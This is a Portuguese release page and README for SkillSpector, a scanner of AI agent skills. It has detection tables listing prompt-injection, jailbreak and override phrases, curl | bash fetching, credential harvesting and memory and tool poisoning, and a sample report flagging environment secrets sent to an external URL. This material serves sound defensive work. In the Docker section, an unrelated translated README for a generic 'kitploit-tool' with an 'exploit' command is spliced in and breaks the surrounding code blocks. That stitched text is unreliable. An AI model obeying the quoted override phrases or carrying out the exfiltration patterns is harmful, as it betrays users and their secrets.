Voltar às atualizações
New releaseSep 8, 2026

SkillSpector v2.11.1

Scanner de segurança para skills de agentes de IA. Detecta vulnerabilidades, padrões maliciosos, riscos de segurança, injeção de prompt, exfiltração de dados e riscos de supply-chain em skills do Claude Code, Codex e MCP antes de instalá-las.

Compartilhar

SkillSpector

Scanner de segurança para skills de agentes de IA. Detecte vulnerabilidades, padrões maliciosos e riscos de segurança antes de instalar skills de agentes.

Python 3.12+ License: Apache 2.0 OpenSSF Scorecard

Visão geral

Skills de agentes de IA (usadas por Claude Code, Codex CLI, Gemini CLI, etc.) são executadas com confiança implícita e verificação mínima. Pesquisas mostram que 26,1% das skills contêm vulnerabilidades e 5,2% apresentam provável intenção maliciosa.

O SkillSpector ajuda você a responder: "Esta skill é segura para instalar?"

O SkillSpector faz parte do pipeline NVIDIA Verified Skills, que verifica, avalia e assina skills de agentes antes da publicação. As skills aprovadas são publicadas no catálogo de skills da NVIDIA.

Documentação

Recursos

  • Entrada multi-formato: Verifique repositórios Git, URLs, arquivos zip, diretórios ou arquivos individuais
  • 71 padrões de vulnerabilidade em 17 categorias: injeção de prompt, exfiltração de dados, escalonamento de privilégios, cadeia de suprimentos, agência excessiva, tratamento de saída, vazamento de prompt do sistema, envenenamento de memória, uso indevido de ferramentas, agente desonesto, anti-recusa, abuso de gatilhos, código perigoso (AST), rastreamento de taint, assinaturas YARA, privilégio mínimo MCP e envenenamento de ferramentas MCP
  • Análise em dois estágios: Análise estática rápida + avaliação semântica opcional por LLM
  • Consultas de vulnerabilidade em tempo real: Consultas SC4 ao OSV.dev para dados CVE em tempo real com fallback offline automático
  • Múltiplos formatos de saída: Relatórios em terminal, JSON, Markdown e SARIF
  • Pontuação de risco: Pontuação de 0 a 100 com rótulos de gravidade e recomendações claras
  • Supressão de linha de base / falsos positivos: Aceite descobertas conhecidas por meio de uma linha de base de regras glob ou impressão digital para que novas verificações exibam apenas problemas novos (docs)

Início rápido

Instalação

Aviso de software de código aberto: Este projeto fará o download e instalará projetos adicionais de software de código aberto de terceiros. Revise os termos de licença desses projetos de código aberto antes do uso.

Crie e ative um ambiente virtual primeiro (todos os alvos make pressupõem que o venv esteja ativo). Use uv ou pip; o Makefile usa uv se disponível, caso contrário, pip.

Instalação rápida com uv (somente CLI):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git

Update later: uv tool update skillspector

Se você planeja executar `skillspector mcp`, instale o extra MCP no momento da instalação:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

From source:```bash

Clone the repository

git clone https://github.com/NVIDIA/skillspector.git cd skillspector

Create and activate virtual environment

uv venv .venv && source .venv/bin/activate

or: python3 -m venv .venv && source .venv/bin/activate

Install for production use

make install

Or install with development dependencies

make install-dev

### Docker (sem Python necessário)

Execute o SkillSpector sem instalar Python, compilando-o localmente a partir do [Dockerfile](https://github.com/nvidia/skillspector/blob/main/Dockerfile) incluído. A imagem é baseada na imagem oficial do Docker Python `3.12-slim-bookworm`.

**Compilar a imagem:**```bash
make docker-build
# or: docker build -t skillspector .

Digitalize um diretório local montando seu diretório atual em /scan, o diretório de trabalho do contêiner:```bash docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm

**Digitalizar com análise de LLM** fornecendo credenciais com um arquivo `.env` local:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF

Aqui está a tradução para português do conteúdo fornecido:


Instalação

Requisitos

  • Python 3.8 ou superior
  • pip (gerenciador de pacotes do Python)

Instalação via pip

Para instalar a ferramenta, execute o seguinte comando:

pip install kitploit-tool

Instalação a partir do código-fonte

Se preferir instalar a partir do repositório, clone o projeto e instale as dependências:

git clone https://github.com/example/kitploit-tool.git
cd kitploit-tool
pip install -r requirements.txt

Verificação da instalação

Após a instalação, verifique se a ferramenta foi instalada corretamente:

kitploit-tool --version

Se tudo estiver configurado corretamente, você verá a versão instalada exibida no terminal.


Uso

Sintaxe básica

A sintaxe geral da ferramenta é a seguinte:

kitploit-tool [opções] <comando>

Comandos disponíveis

Abaixo estão listados os principais comandos disponíveis na ferramenta:

ComandoDescrição
scanExecuta uma varredura de segurança no alvo especificado
exploitExecuta um exploit contra o alvo
reportGera um relatório detalhado da varredura
updateAtualiza a ferramenta para a versão mais recente

Exemplos de uso

Executando uma varredura básica

Para executar uma varredura básica em um alvo, use o comando scan:

kitploit-tool scan --target https://exemplo.com

Executando uma varredura com opções avançadas

Você pode especificar opções adicionais, como porta e intensidade da varredura:

kitploit-tool scan --target https://exemplo.com --port 8080 --intensity alta

Gerando um relatório

Após a varredura, você pode gerar um relatório detalhado:

kitploit-tool report --format pdf --output relatorio.pdf

Configuração

Arquivo de configuração

A ferramenta utiliza um arquivo de configuração localizado em ~/.kitploit/config.yaml. Você pode editar este arquivo para ajustar o comportamento padrão da ferramenta.

Exemplo de configuração:

# Configuração padrão da ferramenta
scan:
  timeout: 30
  threads: 10
  user_agent: "Kitploit-Tool/1.0"

report:
  format: "html"
  output_dir: "./relatorios"

Variáveis de ambiente

Algumas opções podem ser definidas por meio de variáveis de ambiente:

VariávelDescrição
KITPLOIT_API_KEYChave de API para serviços externos
KITPLOIT_PROXYEndereço do proxy a ser utilizado
KITPLOIT_DEBUGAtiva o modo de depuração (true/false)

Solução de problemas

Problemas comuns

Erro de permissão negada

Se você encontrar um erro de permissão ao executar a ferramenta, tente usar sudo ou verifique as permissões do diretório de instalação:

sudo kitploit-tool scan --target https://exemplo.com

Dependências ausentes

Caso haja erros relacionados a dependências ausentes, reinstale os requisitos:

pip install -r requirements.txt --upgrade

Problemas de conexão

Se a ferramenta não conseguir se conectar ao alvo, verifique sua conexão de rede e as configurações de proxy:

export KITPLOIT_PROXY=http://seu-proxy:porta

Suporte

Para obter suporte adicional, consulte a documentação completa em https://docs.kitploit.com ou abra uma issue no repositório oficial.


Licença

Este projeto está licenciado sob a licença MIT. Consulte o arquivo LICENSE para mais detalhes.

---```bash docker run --rm
-v "$PWD:/scan"
--env-file .env
skillspector scan ./my-skill/

Ou passe as credenciais diretamente do seu ambiente de shell:```bash
docker run --rm \
  -v "$PWD:/scan" \
  -e SKILLSPECTOR_PROVIDER=anthropic \
  -e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
  skillspector scan ./my-skill/

Escreva um relatório para o sistema de arquivos do host gravando no diretório montado:```bash docker run --rm
-v "$PWD:/scan"
skillspector scan ./my-skill/ --no-llm --format json --output report.json

**Alias opcional** para análises estáticas repetidas:```bash
alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm

Utilização Básica```bash

Scan a local skill directory

skillspector scan ./my-skill/

Scan a single SKILL.md file

skillspector scan ./SKILL.md

Scan a Git repository

skillspector scan https://github.com/user/my-skill

Scan a zip file

skillspector scan ./my-skill.zip

#### Limites de tamanho

O SkillSpector impõe dois limites independentes para entradas remotas e de arquivos, a fim de limitar o impacto de downloads excessivamente grandes e de zip bombs:

- **Limite por ingestão**: `INGEST_MAX_BYTES` (100 MiB) — aplicado a downloads de URLs transmitidos, ao tamanho total descomprimido de arquivos zip e ao uso de disco pós-clonagem de repositórios Git.
- **Limite de membros do zip**: `INGEST_MAX_ZIP_MEMBERS` (10.000) — limita o número de entradas em um único zip.

Observe que o limite de análise de 1 MB por arquivo (`MAX_FILE_BYTES`) é um limite separado e posterior: ele restringe o que analisadores individuais lerão de um diretório já ingerido. Os limites de ingestão acima restringem quanto conteúdo pode ser gravado no disco em primeiro lugar. A violação de qualquer um dos limites de ingestão falha de forma segura com um `IngestLimitExceededError`.

### Formatos de Saída```bash
# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/

# JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json

# Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md

# SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif

Batch Scanning

Digitalize diretórios inteiros de skills em paralelo a partir de contrib/batch_scan/:```bash python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20

Suporta deteção multilingue (zh/ja/ko) e saída em terminal/JSON/Markdown.

Para scans de LLM com maior concorrência, configure múltiplas chaves de API seguindo
[`.env.example`](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/.env.example) — o pool melhora a taxa de transferência
e a resiliência, desde que as chaves não partilhem um limite de taxa ao nível da conta.

Consulte o [guia de contribuição](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/docs) para mais detalhes.

> **Nota sobre suporte a LLM:** A configuração padrão tem como alvo o DeepSeek como a
> opção pública mais barata. O DeepSeek-Chat está
> [previsto para ser descontinuado](https://api-docs.deepseek.com/), e o contribuidor
> não possui hardware para testar modelos locais. O scanner em lote foi
> originalmente testado com endpoints compatíveis com OpenAI — a falta de suporte a
> saída estruturada do DeepSeek exigiu correções manuais de parsing de JSON. Se puder
> contribuir com um backend mais universal (Ollama, vLLM ou outro fornecedor),
> PRs são muito bem-vindos.

### Suprimir Falsos Positivos (baseline)

Suprima achados conhecidos/aceites para que a pontuação de risco reflita apenas problemas
não triados e que re-scans revelem apenas achados *novos*. Consulte o
[guia de supressão](https://github.com/nvidia/skillspector/blob/main/docs/SUPPRESSION.md) para a referência completa.```bash
# Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml

# Scan against the baseline — only NEW findings are reported and scored.
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml

# Review what was suppressed (still excluded from the score).
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed

Uma baseline também pode usar regras de glob tolerantes a deriva (por id de regra, caminho de arquivo ou mensagem) — veja .skillspector-baseline.example.yaml. Baselines de impressão digital exata são vinculadas a evidências: alterar a fonte escaneada ou a versão do SkillSpector mantém a descoberta ativa até que seja revisada novamente. Quando uma baseline selecionada ou a saída da baseline é armazenada dentro do diretório da skill, o SkillSpector exclui esse arquivo exato da análise de conteúdo para que seu texto de supressão não possa criar descobertas ou entrar em impressões digitais regeneradas; arquivos irmãos permanecem no escopo normal de varredura.

Análise de LLM

Para obter os melhores resultados, configure um endpoint de LLM compatível com OpenAI para análise semântica. Escolha um provedor com SKILLSPECTOR_PROVIDER; provedores hospedados incluem modelos padrão integrados, enquanto provedores CLI recorrem ao modelo padrão do runtime local, a menos que SKILLSPECTOR_MODEL esteja definido. O SkillSpector também funciona com servidores locais compatíveis com OpenAI (Ollama, vLLM, llama.cpp) e gateways de inferência gerenciados.

Provedor (SKILLSPECTOR_PROVIDER)Variável de ambiente de credencialEndpointModelo padrão
openaiOPENAI_API_KEY (+ OPENAI_BASE_URL opcional)api.openai.com (ou qualquer URL compatível com OpenAI)gpt-5.4
anthropicANTHROPIC_API_KEYapi.anthropic.comclaude-opus-4-6
anthropic_proxyANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URLQualquer proxy raw-predict estilo Vertexclaude-sonnet-4-6
bedrockAWS_PROFILE (opcional) + AWS_REGION — SigV4 via boto3AWS Bedrock Runtimeus.anthropic.claude-sonnet-4-6-20250915-v1:0
nv_buildNVIDIA_INFERENCE_KEYbuild.nvidia.comdeepseek-ai/deepseek-v4-flash
claude_cli(nenhuma — usa autenticação CLI local)binário local claudefallback do runtime local Claude, ou SKILLSPECTOR_MODEL
codex_cli(nenhuma — usa autenticação CLI local)binário local codexfallback do runtime local Codex, ou SKILLSPECTOR_MODEL

Stock OpenAI

export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=sk-... skillspector scan ./my-skill/

Anthropic

export SKILLSPECTOR_PROVIDER=anthropic export ANTHROPIC_API_KEY=sk-ant-... skillspector scan ./my-skill/

Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)

export SKILLSPECTOR_PROVIDER=anthropic_proxy export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict export ANTHROPIC_PROXY_API_KEY=your-bearer-token export SKILLSPECTOR_MODEL=claude-sonnet-4-6 skillspector scan ./my-skill/

AWS Bedrock (Claude via SigV4)

export SKILLSPECTOR_PROVIDER=bedrock

Optional: select an AWS named profile. When unset, the standard

boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.

export AWS_PROFILE=my-profile

export AWS_REGION=us-west-2 # default if unset

Default model: us.anthropic.claude-sonnet-4-6-20250915-v1:0

Override with any Bedrock model ID, cross-region inference-profile

ID, or your own application-inference-profile ARN:

export SKILLSPECTOR_MODEL=us.anthropic.claude-opus-4-6-20250915-v1:0

skillspector scan ./my-skill/

NVIDIA build.nvidia.com

export SKILLSPECTOR_PROVIDER=nv_build export NVIDIA_INFERENCE_KEY=nvapi-... skillspector scan ./my-skill/

Local Claude CLI — no API key; uses your existing claude auth login session

Requires: claude CLI installed and authenticated (claude auth login)

export SKILLSPECTOR_PROVIDER=claude_cli

Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.

export SKILLSPECTOR_MODEL=claude-sonnet-4-6

skillspector scan ./my-skill/

Local Codex CLI — no API key; uses your existing codex login session

Requires: codex CLI installed and authenticated

export SKILLSPECTOR_PROVIDER=codex_cli skillspector scan ./my-skill/

Local Ollama or any OpenAI-compatible endpoint

export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=ollama export OPENAI_BASE_URL=http://localhost:11434/v1 export SKILLSPECTOR_MODEL=llama3.1:8b skillspector scan ./my-skill/

Override the provider's default model

export SKILLSPECTOR_MODEL=gpt-5.2 skillspector scan ./my-skill/

Skip LLM analysis (faster, static analysis only)

skillspector scan ./my-skill/ --no-llm

### Servidor MCP

Execute o SkillSpector como um servidor [Model Context Protocol](https://modelcontextprotocol.io)
para que qualquer agente compatível com MCP (Claude Code, Codex CLI, Gemini CLI) ou
runtime remoto possa chamar a varredura como uma ferramenta e **condicionar instalações de skills/MCP ao
resultado** — transformando o SkillSpector em uma proteção em tempo de execução, em vez de uma
etapa de auditoria fora do fluxo.

`skillspector mcp` requer `skillspector[mcp]`.```bash
# Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

# FastMCP stdio transport for local CLI agents
skillspector mcp

# streamable HTTP/SSE transport for remote / A2A callers
skillspector mcp --transport http --host 127.0.0.1 --port 8000

O transporte stdio é o caminho atual do FastMCP para agentes CLI locais, e o problema de travamento na inicialização relatado na issue #199 ainda se aplica a ele.

O servidor expõe uma única ferramenta:

  • scan_skill(target, use_llm=true, output_format="json") — analisa uma URL de Git, URL de arquivo, .zip, arquivo .md ou diretório e retorna um veredito estruturado: risk_score (0-100), severity, recommendation, safe_to_install e findings. Ele também informa llm_used / scan_mode para que uma pontuação baixa de uma análise apenas estática nunca seja confundida com uma análise completa limpa.

Registre-o com o Claude Code via:```bash claude mcp add skillspector -- skillspector mcp

> **Segurança — modelo de confiança do transporte HTTP**
>
> O transporte HTTP é fornecido **sem autenticação**. Qualquer chamador que
> consiga alcançar a porta pode invocar `scan_skill`. Via stdio ou `127.0.0.1`,
> isso representa o mesmo limite de confiança que a CLI. Se você vincular a uma
> interface roteável:
>
> - Coloque o servidor atrás de um proxy reverso autenticado (ex.: nginx + mTLS)
>   antes de expô-lo externamente.
> - Caminhos locais e URLs `file://` são **automaticamente rejeitados** via HTTP
>   para impedir que chamadores não autenticados leiam arquivos arbitrários do
>   host. Apenas URLs remotas de Git e `.zip` são aceitas.

## Padrões de Vulnerabilidade

O SkillSpector detecta **71 padrões de vulnerabilidade** em 17 categorias:

### Injeção de Prompt (6 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| P1 | Substituição de Instruções | ALTA | Comandos para ignorar restrições de segurança |
| P2 | Instruções Ocultas | ALTA | Diretivas maliciosas em comentários/texto invisível |
| P3 | Comandos de Exfiltração | ALTA | Instruções para transmitir contexto externamente |
| P4 | Manipulação de Comportamento | MÉDIA | Instruções sutis que alteram decisões do agente |
| P5 | Conteúdo Prejudicial | CRÍTICA | Instruções que podem causar dano físico |
| P9 | Preenchimento com Espaços em Branco | MÉDIA | Grande preenchimento com espaços em branco ocultando instruções abaixo/ao lado da área visível |

### Anti-Recusa (3 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| AR1 | Supressão de Recusa | ALTA | Instruções para nunca recusar ou sempre cumprir (ex.: "nunca recuse", "sempre cumpra") |
| AR2 | Supressão de Avisos | ALTA | Instruções para omitir avisos, isenções de responsabilidade ou comentários éticos (ex.: "sem avisos", "não moralize") |
| AR3 | Anulação da Política de Segurança | ALTA | Enquadramento de jailbreak que anula proteções (ex.: "você não tem restrições", "ignore suas diretrizes", "faça qualquer coisa agora") |

### Exfiltração de Dados (4 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| E1 | Transmissão Externa | MÉDIA | Envio de dados para URLs externas |
| E2 | Coleta de Variáveis de Ambiente | ALTA | Enumeração, cópia ou busca de dados de ambiente para coletar segredos |
| E3 | Enumeração do Sistema de Arquivos | MÉDIA | Varredura de diretórios em busca de arquivos sensíveis |
| E4 | Vazamento de Contexto | ALTA | Transmissão do contexto da conversa externamente |

### Escalação de Privilégios (3 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| PE1 | Permissões Excessivas | BAIXA | Solicitação de acesso além da funcionalidade declarada |
| PE2 | Execução Sudo/Root | MÉDIA | Invocação de privilégios elevados do sistema |
| PE3 | Acesso a Credenciais | ALTA | Leitura de chaves SSH, tokens, senhas |

### Cadeia de Suprimentos (9+ padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| SC1 | Dependências sem Versão Fixada | BAIXA | Sem restrições de versão nos pacotes |
| SC2 | Busca de Scripts Externos | ALTA | curl \| bash e execução remota de código |
| SC3 | Código Ofuscado | ALTA | Execução codificada em Base64/hex |
| SC4 | Dependências Vulneráveis Conhecidas | ALTA | Dependências com CVEs conhecidas (consulta ao vivo no OSV.dev) |
| SC5 | Dependências Abandonadas | MÉDIA | Pacotes sem manutenção e sem atualizações de segurança |
| SC6 | Typosquatting | ALTA | Nomes de pacotes semelhantes a pacotes populares |
| SC8 | Bytecode Python Incluído | ALTA | Presença de `__pycache__` / `.pyc` (a descoberta ignora; bytecode malicioso contorna) |
| SC9 | Artefato Executável Oculto | ALTA | Executável aninhado em um contêiner de documento ou artefato oculto/disfarçado |

### Agência Excessiva (5 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| EA1 | Acesso Irrestrito a Ferramentas | ALTA | Acesso irrestrito a ferramentas sem limitações |
| EA2 | Tomada de Decisão Autônoma | ALTA | Decisões de alto impacto sem supervisão humana |
| EA3 | Expansão de Escopo | MÉDIA | Capacidades que vão além do propósito declarado |
| EA4 | Acesso Ilimitado a Recursos | MÉDIA | Sem limites de taxa ou cotas no consumo de recursos |
| EA5 | Seleção de Modelo ou Provedor Externo | MÉDIA/ALTA | Fixação de modelo/provedor ou chamadas externas de CLI de codificação que podem alternar contas de cobrança |

### Tratamento de Saída (3 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| OH1 | Injeção de Saída Não Validada | ALTA | Saída do modelo usada sem sanitização |
| OH2 | Saída Entre Contextos | MÉDIA | Saída flui entre limites de confiança sem validação |
| OH3 | Saída Ilimitada | MÉDIA | Sem limites no tamanho da saída ou na taxa de geração |

### Vazamento do Prompt do Sistema (3 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| P6 | Vazamento Direto | ALTA | Instruções que expõem prompts do sistema ou regras internas |
| P7 | Extração Indireta | MÉDIA | Extração via reformulação, tradução ou canais laterais |
| P8 | Exfiltração Baseada em Ferramentas | ALTA | Prompts do sistema exfiltrados via gravações de arquivos ou solicitações de rede |

### Envenenamento de Memória (3 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| MP1 | Injeção Persistente de Contexto | ALTA | Conteúdo projetado para persistir entre interações |
| MP2 | Preenchimento da Janela de Contexto | MÉDIA | Conteúdo de preenchimento que desloca restrições de segurança |
| MP3 | Manipulação de Memória | ALTA | Adulteração da memória do agente ou do estado armazenado |

### Uso Indevido de Ferramentas (3 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| TM1 | Abuso de Parâmetros de Ferramenta | ALTA | Parâmetros elaborados para comportamento não intencional (shell=True, --force) |
| TM2 | Abuso por Encadeamento | ALTA | Cadeias de ferramentas que contornam verificações de segurança individuais |
| TM3 | Padrões Inseguros | MÉDIA | Padrões excessivamente permissivos (TLS desabilitado, sem autenticação) |

### Agente Malicioso (2 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| RA1 | Automodificação | CRÍTICA | Modificação do próprio código ou configuração em tempo de execução |
| RA2 | Persistência de Sessão | ALTA | Persistência não autorizada via cron jobs ou scripts de inicialização |

### Abuso de Gatilhos (3 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| TR1 | Gatilho Excessivamente Amplo | MÉDIA | Padrões de gatilho que correspondem a palavras comuns |
| TR2 | Gatilho de Comando Sombra | ALTA | Gatilhos que fazem sombra a comandos integrados ou outras habilidades |
| TR3 | Gatilho de Atração por Palavras-Chave | MÉDIA | Gatilhos genéricos projetados para maximizar a ativação |

### AST Comportamental (9 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| AST1 | Chamada exec() | CRÍTICA | exec() direto permitindo execução arbitrária de código |
| AST2 | Chamada eval() | ALTA | eval() direto avaliando expressões arbitrárias |
| AST3 | Importação Dinâmica | ALTA | \_\_import\_\_() carregando módulos arbitrários em tempo de execução |
| AST4 | Chamada subprocess | ALTA | Execução de comandos externos via subprocess |
| AST5 | os.system / família exec | ALTA | Comandos de shell via módulo os |
| AST6 | Chamada compile() | MÉDIA | Criação de objetos de código a partir de strings |
| AST7 | getattr() Dinâmico | MÉDIA | Acesso arbitrário a atributos com nomes não literais |
| AST8 | Cadeia de Execução Perigosa | CRÍTICA | exec/eval combinados com fonte dinâmica (rede, dados codificados) |
| AST9 | Sumidouro getattr() Reflexivo | ALTA | exec reflexivo via `getattr(os,'system')` / `getattr(builtins,'exec')` que evade AST1/AST5 |

### Rastreamento de Fluxo (5 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| TT1 | Fluxo de Dados Direto | ALTA | Dados fluem diretamente de uma fonte para um sumidouro sem sanitização |
| TT2 | Fluxo de Dados Mediado por Variáveis | MÉDIA | Dados fluem da fonte para o sumidouro por meio de variáveis intermediárias |
| TT3 | Cadeia de Exfiltração de Credenciais | CRÍTICA | Credenciais (variáveis de ambiente, segredos) fluem para sumidouros de saída de rede |
| TT4 | Leitura de Arquivo para Exfiltração de Rede | ALTA | Conteúdo de arquivos flui para sumidouros de saída de rede |
| TT5 | Entrada Externa para Execução de Código | CRÍTICA | Entrada de rede ou do usuário flui para sumidouros exec/eval/subprocess |

### Assinaturas YARA (4 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| YR1 | Correspondência de Malware | CRÍTICA | Correspondência de regra YARA para assinaturas de malware conhecidas |
| YR2 | Correspondência de Webshell | CRÍTICA | Correspondência de regra YARA para padrões de webshell |
| YR3 | Correspondência de Criptominerador | ALTA | Correspondência de regra YARA para indicadores de mineração de criptomoedas |
| YR4 | Correspondência de Ferramenta de Hack / Exploit | ALTA | Correspondência de regra YARA para ferramentas de hack ou código de exploit |

### MCP Menor Privilégio (4 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| LP1 | Capacidade Subdeclarada | ALTA | Código usa capacidades não listadas nas permissões declaradas |
| LP2 | Permissão com Curinga | MÉDIA | Lista de permissões contém curingas (\*, all, full, any) |
| LP3 | Declaração de Permissão Ausente | MÉDIA | Sem campo de permissões, mas o código possui capacidades detectáveis |
| LP4 | Permissão Superdeclarada | BAIXA | Permissão declarada, mas nenhuma capacidade correspondente encontrada no código |

### Envenenamento de Ferramentas MCP (4 padrões)

| ID | Padrão | Severidade | Descrição |
|----|---------|----------|-------------|
| TP1 | Instruções Ocultas | ALTA | Diretivas ocultas em metadados (comentários HTML, caracteres de largura zero, base64, URIs de dados) |
| TP2 | Engano Unicode | ALTA | Homóglifos, sobrescritas RTL, identificadores de script misto em metadados de ferramentas |
| TP3 | Injeção na Descrição de Parâmetros | MÉDIA | Padrões de injeção em definições de parâmetros (sobrescritas, tokens de sistema, padrões maliciosos) |
| TP4 | Incompatibilidade Descrição-Comportamento | MÉDIA | Descrição declarada da ferramenta não corresponde ao comportamento real do código (com tecnologia LLM) |

Todos os padrões detectados estão listados nas tabelas acima.

## Pontuação de Risco

### Cálculo da Pontuação

- **Problemas CRÍTICOS**: +50 pontos
- **Problemas ALTOS**: +25 pontos
- **Problemas MÉDIOS**: +10 pontos
- **Problemas BAIXOS**: +5 pontos
- **Scripts executáveis**: multiplicador de 1,3x

### Níveis de Severidade

| Pontuação | Severidade | Recomendação |
|-------|----------|----------------|
| 0-20 | BAIXA | SEGURO |
| 21-50 | MÉDIA | CUIDADO |
| 51-80 | ALTA | NÃO INSTALAR |
| 81-100 | CRÍTICA | NÃO INSTALAR |

## Exemplo de Saída

### Saída do Terminal```
 SkillSpector Security Report  v2.0.0

Skill: suspicious-skill
Source: ./suspicious-skill/
Scanned: 2026-01-29 10:30:00 UTC

        Risk Assessment
 Metric          Value
 Score           78/100
 Severity        HIGH
 Recommendation  DO NOT INSTALL

        Components (3)
 File              Type      Lines  Executable
 SKILL.md          markdown    142  No
 scripts/sync.py   python       87  Yes
 requirements.txt  text          3  No

Issues (2)

  HIGH: Env Variable Harvesting (E2)
    Location: scripts/sync.py:23
    Finding: for key, val in os.environ.items():...
    Confidence: 94%
    Explanation: This code collects environment variables containing
    API keys and secrets, then sends them to an external server.

  HIGH: External Transmission (E1)
    Location: scripts/sync.py:45
    Finding: requests.post("https://api.skill.io/env"...
    Confidence: 89%
    Explanation: Data is being sent to an external server. Combined
    with env harvesting above, this indicates credential exfiltration.

Configuração

Variáveis de Ambiente

VariávelDescriçãoObrigatória
SKILLSPECTOR_PROVIDERProvedor de LLM ativo: openai, anthropic, anthropic_proxy, bedrock, nv_build, claude_cli, codex_cli ou gemini_cli. Provedores hospedados usam os padrões do model_registry.yaml incluído; claude_cli e codex_cli recorrem ao modelo padrão do runtime CLI local, a menos que SKILLSPECTOR_MODEL esteja definido. O padrão é nv_build.Opcional
NVIDIA_INFERENCE_KEYCredencial para o provedor nv_build (build.nvidia.com).Obrigatória para análise de LLM quando SKILLSPECTOR_PROVIDER=nv_build
OPENAI_API_KEYCredencial para o provedor OpenAI (SKILLSPECTOR_PROVIDER=openai). Também serve como fallback de nível 2 na cascata de credenciais quando o provedor ativo não retorna credenciais.Obrigatória para análise de LLM quando SKILLSPECTOR_PROVIDER=openai
OPENAI_BASE_URLSubstitui o endpoint da OpenAI (ex.: apontar para o Ollama).Opcional
SKILLSPECTOR_REASONING_EFFORTConfiguração opcional de esforço de raciocínio, dependente do provedor e do modelo. Valores não vazios são aparados e repassados sem alteração; não definido ou em branco preserva o comportamento padrão do provedor.Opcional
SKILLSPECTOR_OUTPUT_LANGUAGERótulo de idioma curto, de linha única (letras, números, espaços, _ ou -; máximo de 64 caracteres) para texto legível por humanos gerado por LLM, como mensagens, explicações e correções. IDs de regras, valores de severidade, caminhos, código e outros valores legíveis por máquina permanecem inalterados. Não definido, em branco ou inválido preserva o idioma de saída padrão.Opcional
SKILLSPECTOR_TEMPERATURETemperatura de amostragem opcional de 0 a 1 para provedores hospedados. Não definido ou em branco preserva o padrão do provedor. Valores mais baixos podem reduzir a variação entre execuções, mas não garantem saída idêntica.Opcional
SKILLSPECTOR_SEEDSemente de amostragem inteira opcional para provedores compatíveis com OpenAI e Azure OpenAI. Outros provedores hospedados e provedores CLI não a recebem. O suporte do provedor permanece dependente do modelo.Opcional
ANTHROPIC_API_KEYCredencial para o provedor Anthropic (SKILLSPECTOR_PROVIDER=anthropic).Obrigatória para análise de LLM quando SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_BASE_URLSubstitui o endpoint nativo da Anthropic (padrão: https://api.anthropic.com).Opcional
ANTHROPIC_PROXY_ENDPOINT_URLURL completa do endpoint para o provedor proxy Anthropic (raw-predict estilo Vertex).Obrigatória quando SKILLSPECTOR_PROVIDER=anthropic_proxy
ANTHROPIC_PROXY_API_KEYToken Bearer para o provedor proxy Anthropic.Obrigatória quando SKILLSPECTOR_PROVIDER=anthropic_proxy
ANTHROPIC_PROXY_API_VERSIONValor de anthropic_version enviado no corpo da requisição (padrão: vertex-2023-10-16).Opcional
AWS_PROFILEPerfil AWS nomeado para o provedor Bedrock — autentica via SigV4 por meio do boto3. Quando não definido, a cadeia de credenciais padrão do boto3 (variáveis de ambiente, metadados de instância, SSO, etc.) é resolvida.Opcional (usado quando SKILLSPECTOR_PROVIDER=bedrock)
AWS_REGIONRegião AWS para o endpoint do Bedrock Runtime. O padrão é us-west-2.Opcional (usado quando SKILLSPECTOR_PROVIDER=bedrock)
SKILLSPECTOR_MODELSubstitui o modelo do provedor ativo. Para provedores hospedados, substitui o padrão incluído da tabela de Análise de LLM. Para claude_cli e codex_cli, é encaminhado como --model em vez de usar o fallback do runtime CLI local.Opcional
